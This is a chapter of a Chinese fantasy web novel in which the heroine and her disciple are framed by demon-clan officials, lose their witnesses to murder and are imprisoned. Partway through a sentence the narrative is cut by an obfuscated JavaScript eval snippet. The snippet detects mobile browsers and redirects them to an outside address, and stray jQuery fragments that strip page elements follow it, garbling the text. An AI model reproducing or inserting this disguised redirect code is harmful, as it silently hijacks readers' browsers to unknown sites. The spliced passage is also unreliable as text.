47. 冤枉

秋露白直视着狮妖浑黄的双眸,毫不退让:“空口白牙,仅凭种族相异就能冤枉他人,这便是妖族的处世之道?”


“哦?倒是个牙尖嘴利的人族。”狮族妖王一哂,扭头对下属道,“去,把证据给两位‘贵客’呈上来。”


“遵命。”王座一旁侍立的狮族亲卫转身下台,片刻后,抬着面一人高的镜子回到台上。


“放。”妖王慵懒倚坐在王座上,翘起一脚,指节敲了敲王座。


又有两名狼妖上前,围在镜前调整一番,片刻后,镜身扩大数倍浮于空中,镜中之景毫无保留地呈现在半空中,连台下众妖都能看得一清二楚。


秋露白一眨不眨地盯着镜中画面,其中正放着她与江乘雪初进试炼之地的景象。


金黄野原,巨树下,他们二人缓缓走进画面,而后是与兔妖月灵的攀谈。再然后,试炼之门开放,他们跟着其他妖族一同进入试炼秘境,彻底消失在画面内。


“这能说明什么?”秋露白沉静道,目光冷冷扫过全场。


她与徒儿出秘境后兽化特征便彻底消失,看出他们是人族并不奇怪。进入秘境之事虽是意外,但他们也未做出任何伤害妖族之事。


“这当然不能说明什么,秋小姐。”台上忽然传来另一道阴沉沙哑的声音,秋露白顺着声音看过去,在王座左侧看见了一名全身裹在黑袍中的妖族。


他全身上下只露着一双眼睛,教人看不清真身为何种灵兽。见她看向自己,黑袍妖那双眼仁极小的眸中染上阴森笑意:“或许我更应当称您为……霜寒仙君?”


他知道她的身份?此妖定然对人族有过了解。


秋露白眉头紧锁:“你又是谁?”


“哦,按照你们人族的规矩,我忘了自我介绍,惭愧惭愧。”黑袍妖说着抱歉的话,眼中却无任何歉意,“不才乌瑞,现任妖族左护法。”


秋露白又看向王座上的妖王,见他并未否认,而是满脸笑意的看着台上他们三人,一幅看好戏的表情。


“让我们说回正题吧,霜寒仙君。”乌瑞向镜前走了几步,负手道,“仅仅是在镜中看见二位贵客的身影自然不能说明什么,最多定二位一个擅闯试炼圣地之罪,但……”


他刻意延长了话尾,说话时的阴沉语调令人倍感不适:“但若是我说,这整个试炼,最终脱离秘境者只有您二位,又当如何?”


秋露白面色一沉,秘境不对劲,这点她作为亲历者自然知晓,但若是最后离开的只有他们二人,还是与妖族关系甚远的人族,他们的目的立刻变得可疑起来。


多说多错。秋露白不语,只等乌瑞说完再随机应变。


“该说是幸运还是不幸呢?”乌瑞将她的沉默当成了默认,摇了摇头,一幅真心为她遗憾的样子,“完全安全的试炼首次出现了妖族伤亡,唯二全须全尾离开秘境的——竟然是两名人族!”


“霜寒仙君是不是应当向我们解释解释?”以这句话做结,乌瑞结束了他夸张的演讲,望向她的眼神透着不怀好意。


全场安静下来,数百双眼睛齐齐落在她身上,若是她说不出个所以然来,此事必然不能善了。


秋露白瞥了眼咄咄逼人的乌瑞,此妖从出场便开始针对他,虽没有拿出任何实质性证据,但话中煽动性极强,就差没直接说她就是凶手了。


乌瑞有问题。


她不可能因此就认下从未做过之事。


秋露白扫视台下众妖,条分缕析道:“其一,我与妖族无怨无仇,完全没有动机冒着风险谋害妖族;其二,妖族试炼圣地传承已久,我不过一介元婴,初入妖族域内,哪来的能力从中做下手脚。”


“其三。”秋露白抬起手,手背向外对着众妖,其上的三瓣印痕闪着金光,“妖族领域并非完全禁止人族入内,我们是在妖族辰枫的引荐下走正当途径进入,目的是与妖族谈一桩合作,他和另一名检验处的狼妖可以作证。”


此番言论有理有据,没有任何可疑之处,或是被她毫不露怯的神情感染,又或是被她的一番发言说服,台下有一小部分妖族看她的眼神不再含怒,而是多了几分探究。


“既然你都这么说了,不给你申辩之机反倒成了我们妖族的不是了?”王座上的狮妖见状,眯了眯眼睛,挥挥手招来下属,“去把她说的妖找来,当面对峙。”


“是。”那狮族亲卫领命离去,场上复又恢复沉寂。


“霜寒仙君好胆色。”等待的时间里,乌瑞率先打破了寂静,面色不愉,阴阳怪气道。


“承让,反倒是乌瑞阁下,与我无冤无仇,为何三番两次欲置我于死地?”秋露白同样盯着这位名义上的妖族右护法,试探道。


她从未见过此妖,更谈不上得罪他,那么他如此急切想将试炼出事归罪于他们,莫非与鹿瑶口中满腹私欲篡改秘境者有关?


“这话就不对了,我不过是想为秘境中枉死的同族讨个公道,若是最后当真冤枉了你们,我可以道歉。”乌瑞痛心疾首道。


惺惺作态,秋露白心道,冷笑一声,不再说话。


乌瑞口风极紧,她得不出有价值的线索,索性静静等待妖王下属将证人带来。


妖王的人动作极快,不到半个时辰工夫,那名狮族亲卫的身影就重新出现在台上,但他的脸上,是肉眼可见的惊惧。


“报、报我王,辰枫……辰枫他死了!就死在自己家中!”亲卫躬身回报,话音磕磕绊绊,似是受了极大的惊吓。


“什么!”妖王骤然起身,看向秋露白二人的目光瞬间变了,眸中冷意如刀割在她身上,“另外那个狼妖呢?”


“也、也死了!”亲卫见妖王发怒,递上他用留影石记录的影像,哆哆嗦嗦道。


怎么会这样?秋露白心下一凛,当即确定了今日一切都是针对他们二人精心设下的局。


幕后之人谋算极深,破坏试炼,杀死证人,最后再将一切污水都泼到他们身上,环环相扣,将自己摘个干净。


秋露白环视全场,从盛怒之中的妖王,到幸灾乐祸的乌瑞,再到台下面目各异的妖民,设局之人,究竟是谁?


“好啊好啊。”乌瑞兴奋地拍了拍手,“死无对证,霜寒仙君这一招真是妙极!”


“来人呐,把这两名人族带下去好生关押,择日审问,非我之令,任何人不得靠近!”妖王看完留影石中记录,一甩袍袖,愤


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385354|167949||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


而下令。


立刻又走上两名狮妖亲卫,不由分说便要带着她向台后走去,秋露白与一旁江乘雪对视一眼,决定先将计就计。


妖王此时已认定了他们两人就是罪魁祸首,她再怎么解释也无济于事,在妖族域内,她也不能直接对妖王动手,索性先顺着幕后之人的棋局走,再寻其中突破口。


他们二人被狮族亲卫带往妖族监牢。妖族监牢设在王宫地下,分成数个独立隔音的小空间,以一条狭长通道链接,唯一的出入口处设有守卫看守。


许是因她在人族声望尚佳,玉清门到底是修真界第一大派,妖王还算留了点理智,给他们安排的牢房不至于沦落到茅草铺地的程度。


“砰。”牢门关上,牢房内只剩下她与江乘雪二人。


“和师尊一起蹲大牢的经历,倒还是第一次。”像是为了活跃气氛,江乘雪对她笑道。


秋露白回以一笑,上下打量了一番所在的牢房。这间牢房是一间石室,空间不大,仅有一张木床,其旁放着一桌二椅,墙上那盏长明灯是唯一的光源。


其实在台上她便可以求助宗门摆平此事,但一来她认为此事还不到麻烦宗门长老的地步,二来她也想借此将计就计捉出幕后黑手、查明真相。


以她玉清门首徒的身份,妖族不可能轻易杀她,若设局者想让她死,只是设计将她关入监牢无法达到目的,必有后手。


若设局者的目的不是置她于死地,而是想拖住她的脚步避免妨碍自己的计划,那这监牢中除了行动不便外,反倒称得上安全。


秋露白在石床上坐下,对江乘雪道:“暂时委屈片刻,我打算趁此机会理一理思路,寻找破局之机。”


江乘雪拉开木椅,面对她坐下,脸上不见丝毫忧色:“师尊说得没错。表面上看,试炼出事、辰枫之死似乎都与我们有关,但细细想来,其中全是疑点。”


秋露白颔首,接过他的话:“第一,能在秘境中做手脚,设局之人必定对秘境颇为了解且能够接近秘境,我猜测应当是一名位高权重的妖族。”


“第二,能精准杀死为我们做保之人并将脏水泼到我们身上,必定对我们的行踪有所了解,更是对人族有所了解。”


江乘雪心领神会道:“所以师尊的怀疑对象,是台上那个左护法乌瑞?”


“是也不是。”秋露白沉吟道,“他应当有参与其中,但真正的布局之人不是他。”


“师尊为何这样想?”


“从台上的表现看,他在我反驳之时流露的不满是真的,至少辰枫之死,他并不知情。”秋露白顿了顿,“而且,若布局之人只有他,这么轻易就暴露在我面前,直接展露对我的敌意,不是聪明人所为。”


“阿雪,你还记得我们来此的目的吗?”秋露白复又问道。


江乘雪立刻想通关键:“是为魔宗百年大灾之事,寻求妖族合作而来。”


“所以,了解人族、有动机阻止我们之人还有一个——魔宗。”


江乘雪:“所以师尊打算从哪里下手?”


秋露白看了眼自己手背上的三瓣印痕,走到牢门门口,对守卫道:


“我要见妖王。”